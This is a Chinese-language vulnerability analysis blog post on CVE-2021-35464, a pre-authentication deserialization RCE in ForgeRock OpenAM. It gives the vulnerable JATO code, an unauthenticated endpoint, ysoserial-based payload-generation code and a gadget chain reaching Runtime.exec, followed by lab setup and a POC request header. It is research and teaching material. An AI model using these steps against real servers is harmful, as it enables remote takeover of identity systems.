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CVE-2021-35464 漏洞分析：ForgeRock OpenAM 中的预认证 RCE

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0x00 前述

2021 年 6 月 29 日，安全研究员 Michael Stepankin 发布了CVE-2021-35464，这是 ForgeRock访问管理器身份和访问管理软件中的预认证远程代码执行 (RCE) 漏洞。ForgeRock 为许多企业提供前端 Web 应用程序和远程访问解决方案。

前几天是在360漏洞通告看到了这个漏洞，心血来潮第一次分析框架漏洞，就从这个开始吧。

 

0x01 前置知识

Java反序列化

序列化是将复杂的数据结构（例如对象及其字段）转换为可以作为顺序字节流发送和接收的“更扁平”格式的过程。

序列化数据使得以下操作变得更加简单：

  • 将复杂数据写入进程间内存、文件或数据库
  • 例如，通过网络、应用程序的不同组件之间或在 API 调用中发送复杂数据

我理解他能节约内存，尤其面对大范围请求的时候。

关键是，当序列化一个对象时，它的状态也会被持久化。换句话说，对象的属性及其分配的值都被保留下来。

反序列化是将此字节流恢复为原始对象的完整功能副本的过程，其状态与序列化时的状态完全相同。然后网站的逻辑可以与这个反序列化的对象进行交互，就像与任何其他对象一样。

很多语言都支持反序列化，比如 PHP、Ruby 和 Java 都可以反序列化。

不同于 PHP 的反序列化，Java 的反序列化更难读懂。序列化的 Java 对象总是以相同的字节开始，比如16进制的ac ed或者rO0这样的Base64编码。

使用 JDK 中的 ObjectOutputStream 这个类，调用 writeObject来进行二进制格式写入，ObjectInputStream 这个类中使用 readObject()方法读取二进制流，转换为对象。这差不多和 PHP 的能对应起来。

以下是一个示例（对于从没有接触过java反序列化而言）：

我们先建立一个项目，建立两个class，一个Person，一个TestObjSerializeAndDeserialize，确定好反序列化ID和方法。

public class Person implements Serializable {

    /**
     * 序列化ID
     */
    private static final long serialVersionUID = -5809782578272943999L;
    private int age;
    private String name;
    private String sex;

    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public String getSex() {
        return sex;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }
}

在TestObjSerializeAndDeserialize中先序列化一次，保存下来，再反序列化一次。

public class TestObjSerializeAndDeserialize {

    public static void main(String[] args) throws Exception {
        SerializePerson();//序列化Person对象
        Person p = DeserializePerson();//反序列Perons对象
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
                p.getName(), p.getAge(), p.getSex()));
    }

    /**
     * MethodName: SerializePerson
     * Description: 序列化Person对象
     * @author xudp
     * @throws FileNotFoundException
     * @throws IOException
     */
    private static void SerializePerson() throws FileNotFoundException,
            IOException {
        Person person = new Person();
        person.setName("gacl");
        person.setAge(25);
        person.setSex("男");
        // ObjectOutputStream 对象输出流，将Person对象存储到E盘的Person.txt文件中，完成对Person对象的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
                new File("D:/Person.txt")));
        oo.writeObject(person);
        System.out.println("Person对象序列化成功！");
        oo.close();
    }

    /**
     * MethodName: DeserializePerson
     * Description: 反序列Perons对象
     * @author xudp
     * @return
     * @throws Exception
     * @throws IOException
     */
    private static Person DeserializePerson() throws Exception, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(
                new File("D:/Person.txt")));
        Person person = (Person) ois.readObject();
        System.out.println("Person对象反序列化成功！");
        return person;
    }

}

我们看看序列化出来是什么？

可以看到是一串16进制，以ACED为开头，实际上所有的序列化出来的都是这样。其中serialVersionUID 是序列化的版本号，凡是实现Serializable接口的类都有一个表示序列化版本标识符的静态变量。这个字段的添加可以使得我们对新的类的增加修改比较方便，否则编译会抛出错误。

Java框架

简而言之，为了方便开发，也为了减少技术整合的问题，Java框架就诞生了。它可以被开发者定制，其他开发者可以基于它完成复用和重构。比如我们使用jQuery开发，如果使用了较多的第三方js，多个页面可能用了同一个js，可能所有的页面都引入一遍，如果js发生了修改，还需要每个页面再去修改，很麻烦，而且使得页面打开速度，维护难度都提高了。如果使用Vue配合Webpack构建工具，在入口文件引入需要重复的插件，我们就可以在所有组件中使用这个插件，后期发生变动，也只需要修改这个入口文件就可以了。

常见的java框架有：

WAF：

全称：WEB APPLICATION FRAMEWORK
主要应用方面：EJB层，（WEB层也有，但是比较弱）。
主要应用技术：EJB等
出处： http://java.sun.com/blueprints/code/index.html
简述：这是SUN在展示J2EE平台时所用的例子PetStore(宠物商店系统)里面的框架。是SUN蓝皮书例子程序中提出的应用框架。它实现了MVC和其他良好的设计模式。SUN的网站上有技术资料，最好下载PetStore来研究，WEBLOGIC里自带此系统，源码在bea\weblogic700\samples\server\src\petstore。这是学习了解J2EE的首选框架。

Struts:

主要应用方面：WEB层。
主要应用技术：JSP,TagLib,JavaBean,XML等
出处： http://jakarta.apache.org/struts/index.html
简述：这是APACHE的开源项目，目前应用很广泛。基于MVC模式，结构很好，基于JSP。Jbuilder8里已经集成了STRUTS1.02的制作。

WAF+STRUTS结合的例子：

WEB层用STRUTS，EJB层用WAF：
JSP(TagLib)——>ActionForm——>Action ——>Event——>EJBAction——>EJB——>DAO——>Database JSP(TagLib)(forward)<——Action <——EventResponse<——

Turbine：

主要应用方面：WEB层。
主要应用技术：servlet等
出处：http://jakarta.apache.org/turbine/index.html
简述：这是APACHE的开源项目。基于SERVLET。据说速度比较快，基于service（pluggable implementation可插拔的执行组件）的方式提供各种服务。

COCOON：

主要应用方面：WEB层。
主要应用技术：XML，XSP，servlet等
出处： http://cocoon.apache.org/2.0/
简述：这是APACHE的一个开源项目。基于XML，基于XSP（通俗地说，XSP是在XML静态文档中加入Java程序段后形成的动态XML文档。）。特点是可以与多种数据源交互，包括文件系统，数据库，LDAP，XML资源库，网络数据源等。

ECHO：

主要应用方面：WEB层。
主要应用技术：servlet等
出处： http://www.nextapp.com/products/echo/
简述：nextapp公司的一个开源项目。基于SERVLET。页面可以做的很漂亮，结合echopoint，可以作出很多图形效果（里面用了jfreechart包）。使用SWING的思想来作网页，把HTML当作JAVA的类来做。但是大量使用Session，页面分帧（Frame）很多,系统资源消耗很大。

JATO：

全称：SUN ONE Application Framework
主要应用方面：WEB层。
主要应用技术：JSP,TagLib,JavaBean等
出处： http://www.sun.com/
简述：这是SUN推出的一个商业性框架，一看名字就知道是结合SUN ONE的平台推出的。JATO2.0比较简单，适宜分析，使用了JSP＋TagLib+JavaBean。如他的DOC所说JATO是适合用在小的WEB应用里。

TCF：

全称：Thin-Client Framework
主要应用方面：JAVA GUI。
主要应用技术：JAVA application等

而分层开发下的常见JavaEE框架有：

Mybatis：解决数据持久化

Spring MVC：解决WEB层的MVC框架

Spring：解决技术整合问题的框架（V&NCTF有出过相关题目）

了解这些框架能够既能帮我们尽快上手一个项目，也能够在面对安全审计任务时更快确定问题。

而今天要讲的分析的漏洞就存在于JATO框架中。

 

0x02 源码分析

组件 影响版本 安全版本
ForgeRock AM 6.0.0.x 7
ForgeRock AM 6.5.0.x 7
ForgeRock AM 6.5.1 7
ForgeRock AM 6.5.2.x 7
ForgeRock AM 6.5.3 7

这个openam.war文件怎么得到呢？两种方法。

第一种，docker拉一个环境。

$ docker run -h localhost -p 7080:8080 --name openam openidentityplatform/openam

然后拉起来从docker cp openam://usr/local/tomcat/webapps/openam.war ./ 提取出openam.war。

第二种，可以ForgeRock官网下载相关固件，这里给出地址。顺便说个小tips，这个ForgeRock的邮箱可以选择yeah.net的domain。

https://backstage.forgerock.com/downloads/get/familyId:am/productId:am/minorVersion:6.5/version:6.5.2.3/releaseType:full/distribution:war

给出的是AM-6.5.2.3.war。

得到这个war后，解压WAR文件并反编译里面的所有JAR（库），以便我们查看源代码。

可以使用 Intellij IDEA 来处理 Java 代码，因为它提供了用于搜索和构建调用图的便捷方法。更重要的是，它可以帮助我们直接反编译，而且这个 Java 反编译器可以在其内置terminal调用。它就是java-decompiler.jar。 你可以在 Intellij IDEA 的 \plugins\java-decompiler\lib 下找到它。

对openam搜索，大概找到了330个jar。

可以使用两种方法反编译。

第一种，直接terminal命令。

$ java -cp "java-decompiler.jar位置" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true "要反编译的jar" "存放的文件夹位置"

但我嫌麻烦，我用了第二种。

第二种，直接打开IDEA，选中一个jar，右击-Add as Library...就能够反编译。

找到jato-2005-05-04.jar，在com/iplanet.jato/view/下找到了ViewBeanBase.class

protected void deserializePageAttributes() {
    if (!this.isPageSessionDeserialized()) {
        RequestContext context = this.getRequestContext();
        if (context == null) {
            context = RequestManager.getRequestContext();
        }

        String pageAttributesParam = context.getRequest().getParameter("jato.pageSession");
        if (pageAttributesParam != null && pageAttributesParam.trim().length() > 0) {
            try {
 //vul
           this.setPageSessionAttributes((Map)Encoder.deserialize(Encoder.decodeHttp64(pageAttributesParam), false));
            } catch (Exception var4) {
                this.handleDeserializePageAttributesException(var4);
            }
        }

        this.setPageSessionDeserialized();
    }
}

这表示，如果我们的get请求中包含了jato.pageSession的参数，jato会将其反序列化成为一个会话，而恰恰这里没有经过任何的过滤，直接使用了我们前置知识中讲到的原生 Java 序列化 ObjectInputSteam ，然后在头部进行了压缩。

那么梳理一下，如果要利用，既要搞清楚怎么压缩，然后考虑怎么绕过验证，最后能够RCE。

如果要利用就得搞清楚压缩的机制才可以，但有更简单的方法，将jato-2005-05-04.jar 和 ysoserial.jar 作为库包含。至于绕过验证，其实阅读XML会发现不少地方使用了jato，我们可以找到ccversion/Version是可行无需认证就可以访问的。

<context-param>
    <param-name>jato:com.sun.identity.console.version.*:moduleURL</param-name>
    <param-value>../ccversion</param-value>
</context-param>

String windowTitle = resourceBundle.getString("masthead.versionWindowTitle");
// Get query parameters.
String productNameSrc = (request.getParameter("productNameSrc") != null)
? request.getParameter("productNameSrc") : "";
String versionFile = (request.getParameter("versionFile") != null)
? request.getParameter("versionFile") : "";

windowTitle = VersionViewBean.escapeHTML(windowTitle);

String productNameHeight =
(request.getParameter("productNameHeight") != null)
    ? request.getParameter("productNameHeight") : "";
String productNameWidth =
(request.getParameter("productNameWidth") != null)
    ? request.getParameter("productNameWidth") : "";

// Create button frame URL.
StringBuilder buttonBuffer =
    new StringBuilder(request.getContextPath())
    .append("/ccversion/ButtonFrame");

// Create masthead frame URL.
StringBuilder buffer =
    new StringBuilder(request.getContextPath())
    .append("/ccversion/Masthead.jsp?");

按照 Michael Stepankin 的方法，这种负载就可以完成urlDNS的跳转。

import com.iplanet.jato.util.Encoder;
import ysoserial.payloads.URLDNS;
import java.io.Serializable;

public class Main {

  public static void main(String[] args) throws Exception {

    Object payload = new URLDNS().getObject("http://xxx4.x.artsploit.com/");
    byte[] payloadBytes = Encoder.serialize((Serializable) payload, false);
    String payloadString = Encoder.encodeHttp64(payloadBytes, 1000000);
    System.out.println(payloadString);
  }
}

其实这个分析到这里就差不多结束了，使用ysoserial 的 CommonsBeanutils1 小工具链可以RCE。但是为什么这个漏洞被评价很高呢？

是因为作者在实际目标中发现URLDNS 和 CommonsBeanutils1并不能达到效果，也就没办法完成通杀，所以作者考虑了其他办法。

2015 年，@frohoff 和 @gebl 展示了几种从公共库中的 readObject 方法触发远程代码执行的方法，包括广泛使用的 Apache Commons Collections。Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库。也就是说我们可以通过给反序列化发送任意类对象触发 readObject 方法来达到自定义工具链的攻击模式。

JackOfMostTrades的gadgetinspector可以帮助我们静态分析jar包找到利用漏洞链，使用它可以找到13个链。

java/security/cert/CertificateRevokedException.readObject()
  java/util/TreeMap.put()
   org/apache/click/control/Column$ColumnComparator.compare()
    org/apache/click/control/Column.getProperty()
     org/apache/click/control/Column.getProperty()
      org/apache/click/util/PropertyUtils.getValue()
       org/apache/click/util/PropertyUtils.getObjectPropertyValue()
        java/lang/reflect/Method.invoke()

我们关注倒数第二条链。找到click-nodeps-2.3.0.jar，进入org/apache/click/util/PropertyUtils，找到关键函数getObjectPropertyValue()。

private static Object getObjectPropertyValue(Object source, String name, Map cache) {
    PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);

    Method method = null;
    try {
        method = (Method) cache.get(methodNameKey);

        if (method == null) {

            method = source.getClass().getMethod(ClickUtils.toGetterName(name));
            cache.put(methodNameKey, method);
        }

        return method.invoke(source);

Object source是正在结构的对象，String name是我们可控参数。get方法没有参数，但是能够指定一个String类型。已知的 Java类org.apache.xalan.xsltc.trax.TemplatesImpl，它是可序列化的，ysoserial 的 CommonsBeanutils1 链有一个类似“java.util.PriorityQueue.readObject”形式的小工具可以替代CertificateRevokedException.readObject触发ColumnComparator.compare。

这样重新在ysoserial下添加新类构造对象，可以得到下面的利用链，这个链比较长，这是一部分。

java.util.PriorityQueue.readObject()
 java.util.PriorityQueue.heapify()
  java.util.PriorityQueue.siftDown()
   java.util.PriorityQueue.siftDownUsingComparator()
    org.apache.click.control.Column$ColumnComparator.compare()
     org.apache.click.control.Column.getProperty()
      org.apache.click.control.Column.getProperty()
       org.apache.click.util.PropertyUtils.getValue()
        PropertyUtils.getObjectPropertyValue()
         java.lang.reflect.Method.invoke()
          TemplatesImpl.getOutputProperties()
           TemplatesImpl.newTransformer()
            TemplatesImpl.getTransletInstance()
             TemplatesImpl.defineTransletClasses()
              ClassLoader.defineClass()
               Class.newInstance()
               ...
                MaliciousClass.<clinit>()
                ...
                 Runtime.exec()

如果在ysoserial.payloads.Click1.getObject()方法设置断点，可以看到是如何RCE的。

 

0x03 POC触发

其实可以直接使用docker拉一个，但是这里也试着尝试直接安装看看。

在host中添加FQDN

vi /etc/hosts
127.0.0.1 localhost openam.example.com example.com

然后使其生效。

$ /etc/init.d/networking restart

然后建立两个tomcat服务器，我下载的tomcat8。

创建两个文件夹/usr/local/tomcat1和tomcat2，将下载好的解压进去，把bin目录下的catalina.sh拷贝到/etc/init.d/，重命名为tomcat1和tomcat2.

然后做如下修改：

添加chkconfig和description

#!/bin/sh

# Licensed to the Apache Software Foundation (ASF) under one or more

# chkconfig: 2345 10 90

# description: Tomcat service

# contributor license agreements.  See the NOTICE file distributed with

将CATALINA_HOME分别设为/usr/local/tomcat1和/usr/local/tomcat2.

CATALINA_HOME=/usr/local/tomcat1

CATALINA_HOME=/usr/local/tomcat1

将JAVA_HOME设为/usr/local/jdk1.8.0_161。这个JDK是自己下的，网上资源很多。

JAVA_HOME=/usr/local/jdk1.8.0_161

修改两个tomcat目录下conf目录下server.xml的端口分别为8081和8082.

<Connector port="8081" protocol="HTTP/1.1"
           connectionTimeout="20000"
           redirectPort="8443" />

注意着了的redirectPort也要修改，否则会冲突。

<Server port="8006" shutdown="SHUTDOWN">
  <Listener className="org.apache.catalina.startup.VersionLoggerListener" />

SHUTDOWN的端口也要修改不要冲突。

把下载好的war示例程序放入/usr/local/tomcat1/webapps下，/usr/local/tomcat2/webapps也放入。

然后进行服务更新。

$ systemctl daemon-reload

然后启动两个服务。

$ sudo service tomcat1 start
$ sudo service tomcat2 start

这样就可以访问8081和8082端口看到两个apache服务了。

如果出现什么其他的无法启动的问题，大概率增加执行权限就可以解决。

然后访问openam就可以。

直接发包，cmd处使用命令即可，root权限。

poc：

POST /openam/ccversion/Version HTTP/1.1
Host: openam.example.com:8081
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10561
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0x04 总结

这个漏洞分析有些曲折，主要是原先没用过ForgeRock的AM。但是这个在7以下版本还是可以通杀是不错的，主要是jato已经比较长时间没有更新了，新版的7的修复方法是直接仅用了jato，官方也给出了对于6.x的修复方法。缺了一步动态调试触发POC那里，以后有机会补上。由于水平有限，所以希望各位大佬不吝赐教，大家一起共同进步。